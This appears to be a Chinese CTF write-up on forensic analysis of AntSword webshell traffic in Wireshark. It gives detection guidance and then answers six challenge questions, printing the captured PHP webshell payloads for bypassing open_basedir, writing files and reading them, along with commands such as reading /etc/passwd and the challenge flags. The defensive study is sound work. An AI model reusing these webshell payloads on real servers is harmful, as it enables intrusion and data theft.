玄机-第六章 流量特征分析-蚁剑流量分析
前置知识:蚁剑webshell流量特征
蚁剑(AntSword)作为一款常见的Webshell管理工具,其流量特征在检测和防御中至关重要。以下是其流量特征的详细分析及检测建议:
一、主要流量特征
- HTTP请求特征:
- User-Agent:
- 默认可能包含AntSword/vX.X标识,但高版本或定制版本可能被修改或置空。
- 部分配置可能伪装成浏览器(如Chrome或Firefox),但版本号异常或固定。
- URL路径:
- 访问可疑文件(如upload.php、images.asp),路径非常见目录(如/admin/、/tmp/)。
- HTTP方法:
- 高频使用POST请求,尤其执行命令或文件操作时。
- User-Agent:
- 请求参数特征:
- 参数名固定:
- 常见参数如pass(密码字段)、ant(操作类型)、func(函数名)、z0/z1(加密数据)等。
- 参数值编码/加密:
- Base64编码(如z0=base64数据,末尾可能含=)或异或加密(随机字符串)。
- 加密数据长度固定分块(如每16字节分隔),可能含不可打印字符。
- 参数名固定:
- 请求体结构:
- 固定前缀/分隔符:
- 如@ini_set("display_errors","0");...(PHP Webshell常见代码片段)。
- JSON/序列化数据:
- 部分版本将指令封装为JSON,如{"action":"readFile","path":"/etc/passwd"}。
- 固定前缀/分隔符:
- 响应特征:
- Base64/Hex编码:
- 返回数据可能以data:image/png;base64,...或十六进制字符串形式出现。
- 分隔符标记:
- 使用特殊分隔符(如->|和|<-)包裹有效载荷,便于客户端解析。
- Base64/Hex编码:
- 行为模式:
- 高频短连接:
- 短时间内连续发送多个POST请求(如上传文件分片、遍历目录)。
- 非常规操作:
- 请求包含系统命令(如whoami)、敏感文件路径(/etc/passwd)或危险函数(eval())。
- 高频短连接:
二、检测与防御建议
- 规则化检测:
- 特征匹配:
- WAF规则匹配User-Agent中的AntSword、参数名(pass、z0)或固定代码片段。
- 编码识别:
- 检测Base64数据块(如长度为4的倍数,含+/=字符)或异常长参数值。
- 异常行为分析:
- 监控频繁POST请求、非常见路径访问或敏感操作(如文件读写)。
- 特征匹配:
- 动态分析:
- 解密流量:
- 对可疑参数尝试Base64解码,检查是否包含系统命令或路径。
- 沙箱模拟:
- 重放请求至沙箱环境,观察返回结果是否包含Webshell响应特征(如分隔符)。
- 解密流量:
- 日志审计:
- 关联分析:
- 结合访问日志与文件上传记录,定位Webshell创建时间及来源IP。
- 时间窗口检测:
- 统计同一IP的请求频率,识别短时密集活动。
- 关联分析:
- 加固措施:
- 禁用危险函数:
- PHP中禁用eval()、system(),ASP.NET限制File.Write等。
- 文件监控:
- 实时监控Web目录新增/修改文件,禁止执行非常见扩展名(如.asa、.cer)。
- 禁用危险函数:
三、对抗升级
- 定制化攻击:
- 攻击者可能修改默认参数名、加密算法或伪装User-Agent,需结合机器学习模型分析异常模式。
- 加密流量:
- 使用HTTPS或自定义加密协议时,需解密后分析或依赖终端行为检测(如进程链监控)。
追踪http流与tcp流的区别
在 Wireshark 中,追踪 HTTP 流和追踪 TCP 流是两种不同的数据流分析方式,它们的区别主要体现在数据层次、分析对象和应用场景上。以下是详细对比:
1. 数据层次
- TCP 流(Follow TCP Stream):
- 传输层视角:分析的是 TCP 协议层面的完整通信过程(从三次握手到四次挥手)。
- 原始数据:包含 TCP 报文段的所有内容(TCP 头部 + 应用层负载),包括所有分段(Segment)和重组后的完整数据。
- 未解码:数据以原始字节或 ASCII/Hex 形式显示,不区分具体应用层协议(如 HTTP、FTP、SMTP 等)。
- HTTP 流(Follow HTTP Stream):
- 应用层视角:仅针对 HTTP 协议(HTTP/1.x 或 HTTP/2)的请求和响应内容。
- 重组后的内容:自动解析 HTTP 头部(Header)和正文(Body),忽略 TCP 分段细节。
- 解码与过滤:可能自动解压缩(如 gzip)、解码分块传输(Chunked Encoding),并过滤非 HTTP 流量。
2. 数据范围
- TCP 流:
- 显示同一 TCP 连接内的所有双向通信(客户端→服务端 + 服务端→客户端),包括:
- TCP 握手(SYN, SYN-ACK, ACK)
- 数据传输(Payload)
- 可能的 TCP 重传、窗口调整等细节
- TCP 挥手(FIN, ACK)
- 适用于分析传输层问题(如丢包、延迟、连接异常)。
- 显示同一 TCP 连接内的所有双向通信(客户端→服务端 + 服务端→客户端),包括:
- HTTP 流:
- 仅显示 HTTP 请求和响应内容,不包含 TCP 头部和底层传输细节。
- 自动重组跨多个 TCP 报文段的 HTTP 消息(如分块传输或大文件上传)。
- 适用于分析应用层行为(如 HTTP 请求参数、响应状态码、Cookie 等)。
3. 使用场景
- TCP 流适用场景:
- 排查 TCP 连接问题(如握手失败、连接重置、丢包重传)。
- 分析非 HTTP 协议的通信(如 FTP、SSH、数据库协议)。
- 检查原始数据传输是否被篡改或加密异常。
- HTTP 流适用场景:
- 调试 Web 应用问题(如 HTTP 500 错误、API 请求失败)。
- 分析 HTTP 请求/响应内容(如 POST 参数、Cookie、授权头)。
- 检测 Web 攻击行为(如 SQL 注入、XSS 的 HTTP 载荷)。
4. 操作差异
- TCP 流:
- 右键点击任意 TCP 报文 → Follow → TCP Stream。
- 显示双向原始数据(客户端和服务端通信混合显示)。
- 数据以纯文本或 Hex 格式展示,需手动解析协议内容。
- HTTP 流:
- 右键点击 HTTP 报文 → Follow → HTTP Stream。
- 自动分离请求(客户端→服务端)和响应(服务端→客户端)。
- 对 HTTP 头部和正文进行结构化解析(如自动高亮 URL、状态码)。
5. 过滤器示例
- TCP 流:
tcp.stream eq 0 # 追踪第一个 TCP 流 - HTTP 流:
http.request or http.response # 过滤所有 HTTP 请求和响应
6. 示例对比
假设捕获到一次 HTTP 文件上传:
- TCP 流:
- 显示三次握手 → 多个 TCP 分段(含 HTTP 头和文件数据)→ 四次挥手。
- 可能包含非 HTTP 的 TCP 控制报文(如 ACK、窗口更新)。
- HTTP 流:
- 显示完整的 HTTP POST 请求(含 Content-Type: multipart/form-data)。
- 显示 HTTP 200 OK 响应,忽略底层 TCP 细节。
总结对比
特性 | TCP 流 | HTTP 流 |
层级 | 传输层(TCP) | 应用层(HTTP) |
数据内容 | 原始字节(含 TCP 头) | 重组后的 HTTP 请求/响应 |
分析目标 | 连接稳定性、传输问题 | Web 应用行为、HTTP 协议细节 |
适用协议 | 所有基于 TCP 的协议 | 仅 HTTP/HTTPS |
操作复杂度 | 需手动解析应用层数据 | 自动解析 HTTP 结构 |
根据需求选择:
- 需要分析底层传输问题 → TCP 流。
- 需要快速查看 HTTP 交互内容 → HTTP 流。
第六章 流量特征分析-蚁剑流量分析
来自 <https://xj.edisec.net/challenges/32>
题目简介
1.木马的连接密码是多少
2.黑客执行的第一个命令是什么
3.黑客读取了哪个文件的内容,提交文件绝对路径
4.黑客上传了什么文件到服务器,提交文件名
5.黑客上传的文件内容是什么
6.黑客下载了哪个文件,提交文件绝对路径
1,已知攻击者使用的webshell的工具是蚁剑,那么攻击者应该预先向服务器上传了木马文件,而且一句话木马上传成功了,那么就可以定位到响应码200的流量
http.response.code == 200
上传木马文件成功的响应就在这之中,No.26追踪http字节流看看
1. 初始化与配置更改:
- @ini_set("display_errors", "0"):关闭错误信息的显示,防止错误信息泄露给攻击者。
- @set_time_limit(0):取消PHP脚本的执行时间限制,使脚本可以无限期运行。
- @ini_get("open_basedir"):获取当前PHP配置中的open_basedir值,用来限制文件的访问范围。
2. 文件操作:
- 代码检查open_basedir并基于该路径执行目录遍历操作,尝试在可写的目录下创建临时目录/d53e47c56e78。
- 它通过@mkdir尝试创建该目录,并检查是否能够成功创建,之后切换到该目录进行进一步操作。
3. 环境变量与命令注入:
- base64_decode被用来解码从POST请求中接收到的部分数据,暗示这个PHP脚本可能接受外部输入,并基于这些输入执行特定操作。
- 通过putenv()函数,代码修改了环境变量PATH,并且不同的路径根据操作系统(类Unix或Windows)动态调整。这使得它能够执行不同的命令。
4. 命令执行:
- 代码包含了一个runcmd()函数,该函数使用多种PHP函数(如system(),exec(),shell_exec()等)来执行命令。它会尝试使用最适合的执行方式来运行系统命令,并将命令的输出打印出来。
- 如果当前服务器支持system()、exec()、shell_exec()等命令执行函数,它们就会被用来执行远程代码或命令。否则,脚本会尝试使用其他替代方法(比如popen()或proc_open())来运行命令。
5. Shellshock漏洞利用:
- 代码中的runshellshock()函数尝试检测和利用“Shellshock”漏洞(一个存在于GNU Bash中的安全漏洞),它通过特定的环境变量构造来执行恶意命令。putenv()用于修改环境变量,诱发Bash执行不安全的命令。
6. Windows系统的命令执行:
- 如果系统是Windows,脚本会通过COM对象(WScript.shell)来执行命令。这是一个特定于Windows的技巧,通过Windows脚本宿主(WSH)执行命令,绕过了某些PHP函数的限制。
7. 错误处理与输出:
- asoutput()函数捕获并输出内容,并通过ob_get_contents()获取缓冲区中的输出内容。
- 错误信息会被捕捉并显示在页面上,帮助攻击者获取执行结果或调试信息。
8. 可能的恶意功能:
- 此脚本可能被用于远程执行恶意代码、上传恶意文件、获取服务器的敏感信息或绕过安全限制。
总结:
这段PHP代码实现了一个功能强大的Web Shell,具备命令执行能力、环境变量修改、文件操作和Shellshock漏洞利用等功能。它可以绕过一些常见的安全限制,并试图在目标系统上执行任意命令。如果该脚本被恶意上传并执行,它可以给攻击者提供完全的远程控制能力。
“1=”目的是让服务器或应用程序认为这是一个合法的赋值操作或命令由此就能知道传输的密码为1,flag{1}
2,问攻击者执行的第一个命令是什么,那么我们就需要查看服务端(已经被攻击者使用蚁剑控制)执行了哪些命令,依然是过滤响应码200的
http contains "200"
然后追踪No.26的http流,关注服务端响应
还是不够直观,这些都是服务端响应的结果。可以显示No.24的分组字节
然后就能得到cd "/var/www/html";id;echo e124bc;pwd;echo 43523。这些都能和服务端响应对的上
两者对比来看且结合一般攻击场景,攻击者会先执行id命令查看用户uid和权限。所以flag{id}
3,思路是攻击者向服务端提交的POST请求去读取某一个文件,所以过滤出存在POST请求的流量包
http.request.method==POST
还是分别显示分组字节进行查看,在No.47找到读取文件的命令
明显具有base64编码的特征,解码得到cat /etc/passwd
flag{/etc/passwd}
4,问黑客传入什么文件进入服务器,思路很简单:上传文件使用的一般是POST请求,在web服务器文件上传通常使用HTTP的POST方法。
http.request.method == "POST"
还是分别显示分组字节进行查看,在No.422找到上传的文件
flag{flag.txt}
第二种方法:查看No4.22的http追踪流,然后解码
先进行URL解码
再对其中具有base64编码特征的部分进行解码
L3Zhci93d3cvaHRtbC9mbGFnLnR4dA==
5,本质上还是上面的编码进行解码,先来看看以流量形式出现的PHP代码
1=@ini_set("display_errors", "0"); @set_time_limit(0); $opdir=@ini_get("open_basedir"); if($opdir) { $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir); @array_push($oparr,$ocwd,sys_get_temp_dir()); foreach($oparr as $item) { if(!@is_writable($item)){continue;}; $tmdir=$item."/.368479785"; @mkdir($tmdir); if(!@file_exists($tmdir)){continue;} $tmdir=realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr=@preg_split("/\\\\|\//",$tmdir); for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }; @ini_set("open_basedir","/"); @rmdir($tmdir); break; }; }; function asenc($out){return $out;}; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "6960"."cb205"; echo @asenc($output); echo "1e0a"."91914"; } ob_start(); try{ $f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2)); $c=$_POST["ld807e7193493d"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); }catch(Exception $e){ echo "ERROR://".$e->getMessage(); }; asoutput(); die(); &ld807e7193493d=666C61677B77726974655F666C61677D0A &t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA== |
以下是这段 PHP 代码的完整解读:
1. 代码功能分析
这段代码是一个典型的 Webshell 后门脚本,核心功能是向指定文件追加写入自定义内容(如木马、恶意代码或敏感数据)。其通过混淆和加密手段隐藏真实行为,同时尝试绕过服务器安全限制(如 open_basedir)。
2. 代码逐段解析
(1) 初始设置
1=@ini_set("display_errors", "0");
@set_time_limit(0);
- @ini_set("display_errors", "0"): 关闭错误显示,避免暴露敏感信息。
- @set_time_limit(0): 取消脚本执行时间限制,确保长时间运行。
(2) 绕过 open_basedir 限制
$opdir=@ini_get("open_basedir");
if($opdir) {
// ... 省略部分代码 ...
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
// 尝试在可写目录创建临时文件夹 .368479785
$tmdir=$item."/.368479785";
@mkdir($tmdir);
// ... 省略部分代码 ...
@chdir(".."); // 通过多次回退到上级目录突破路径限制
@ini_set("open_basedir","/"); // 重置 open_basedir 为根目录
@rmdir($tmdir);
break;
};
};
- 目标:绕过 PHP 的 open_basedir 目录访问限制。
- 手段:
- 遍历可能的可写目录(包括当前目录、系统临时目录)。
- 创建临时目录 .368479785,通过 chdir("..") 逐步回退到根目录。
- 最终将 open_basedir 设置为 /,解除目录限制。
(3) 输出混淆函数
function asenc($out){return $out;};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "6960"."cb205"; // 固定前缀(混淆)
echo @asenc($output); // 实际输出内容
echo "1e0a"."91914"; // 固定后缀(混淆)
}
- 目的:对输出内容添加固定前缀/后缀(6960cb205 和 1e0a91914),干扰流量检测工具(如 WAF)。
(4) 核心恶意逻辑
ob_start();
try{
// 从 POST 参数获取文件名和内容
$f = base64_decode(substr($_POST["t41ffbc5fb0c04"],2)); // 解码文件名
$c = $_POST["ld807e7193493d"]; // 待写入的内容(十六进制编码)
// 处理内容:移除换行符,按每两个字符 URL 解码(十六进制转 ASCII)
$c = str_replace("\r","",$c);
$c = str_replace("\n","",$c);
$buf = "";
for($i=0; $i<strlen($c); $i+=2) {
$buf .= urldecode("%".substr($c,$i,2));
}
// 向文件追加内容
echo(@fwrite(fopen($f,"a"),$buf) ? "1" : "0"); // 成功返回1,失败返回0
} catch(Exception $e) {
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
- 参数解析:
- t41ffbc5fb0c04: Base64 编码的文件路径(去除前两个字符后解码)。
- 示例值 0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA== → 去除前两位 0Z,解码后为 /var/www/html/flag.txt。
- ld807e7193493d: 十六进制编码的内容(每两个字符为一组,如 66 → f)。
- 示例值 666C61677B77726974655F666C61677D0A → 解码为 ASCII 字符串 flag{write_flag}。
- t41ffbc5fb0c04: Base64 编码的文件路径(去除前两个字符后解码)。
- 操作流程:
- 解码文件名 /var/www/html/flag.txt。
- 将十六进制内容 666C61677B... 转换为明文 flag{write_flag}。
- 以追加模式("a")打开文件并写入内容,返回操作结果。
3. 攻击行为总结
- 目的:向服务器文件 /var/www/html/flag.txt 追加写入字符串 flag{write_flag}。
- 隐蔽手段:
- 参数名随机化(t41ffbc5fb0c04、ld807e7193493d)。
- 内容十六进制编码 + URL 解码。
- 输出混淆(添加固定前缀/后缀)。
4. 流量特征(用于检测)
- HTTP 请求特征:
- POST 参数名:随机字符串(如 t41ffbc5fb0c04、ld807e7193493d)。
- 参数值:
- t41ffbc5fb0c04: Base64 数据(通常以 == 结尾)。
- ld807e7193493d: 长十六进制字符串(无分隔符)。
- 响应内容:包含固定前缀 6960cb205 和后缀 1e0a91914。
- 行为特征:
- 尝试修改服务器文件(尤其是 Web 目录)。
- 绕过 open_basedir 限制。
5. 防御建议
- 检测规则:
- 监控 POST 请求中的随机参数名和 Base64/十六进制数据。
- 拦截包含 6960cb205 和 1e0a91914 的响应内容。
- 禁止 PHP 脚本修改 Web 目录外的文件。
- 服务器加固:
- 限制 open_basedir 范围,禁用危险函数(如 fopen、fwrite)。
- 实时监控 Web 目录文件变动。
6. 代码关联
- 工具关联:代码风格与「蚁剑(AntSword)」的 base64 编码型 Webshell 模板高度相似。
- 变种可能性:攻击者可能修改混淆字符串(如 6960cb205)或加密方式。
所以就可以得到flag{write_flag}
6,根据前面几题的经验,在这里非常自信的追踪NO.606的HTTP流
代码核心恶意逻辑
ob_start();
try {
// 从 POST 参数 t41ffbc5fb0c04 获取文件名并解码
$F = base64_decode(substr(
get_magic_quotes_gpc() ? stripslashes($_POST["t41ffbc5fb0c04"]) : $_POST["t41ffbc5fb0c04"],
2
));
// 读取文件内容
$fp = @fopen($F, "r");
if (@fgetc($fp)) { // 检查文件是否可读
@fclose($fp);
@readfile($F); // 输出文件内容
} else {
echo "ERROR:// Can Not Read";
}
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
- 参数解析:
- t41ffbc5fb0c04: 经过 Base64 编码的文件路径(去除前两位字符后解码)。
- 示例值 2eL3Zhci93d3cvaHRtbC9jb25maWcucGhw → 去除前两位 2e,解码后为 /var/www/html/config.php。
- 攻击者通过此参数指定要读取的服务器文件路径。
- t41ffbc5fb0c04: 经过 Base64 编码的文件路径(去除前两位字符后解码)。
- 操作流程:
- 解码文件路径 /var/www/html/config.php。
- 以只读模式打开文件,验证可读性。
- 通过 readfile() 直接输出文件内容。
攻击行为总结
- 目的:窃取服务器敏感文件(如 Web 配置文件、数据库凭证等)。
- 目标文件示例:/var/www/html/config.php(常见配置文件路径)。
- 隐蔽手段:
- 参数名随机化(t41ffbc5fb0c04)。
- Base64 编码文件路径。
- 输出混淆(添加固定前缀/后缀)。
流量特征(用于检测)
- HTTP 请求特征:
- POST 参数名:t41ffbc5fb0c04(随机字符串)。
- 参数值:Base64 数据(去除前两位后解码为文件路径)。
- 响应内容:包含固定前缀 72648 和后缀 da743e2c5c,中间夹带文件明文内容。
- 行为特征:
- 尝试读取 Web 目录外的敏感文件(如 /etc/passwd、数据库配置文件)。
- 绕过 open_basedir 限制。
所以可以得到flag{/var/www/html/config.php}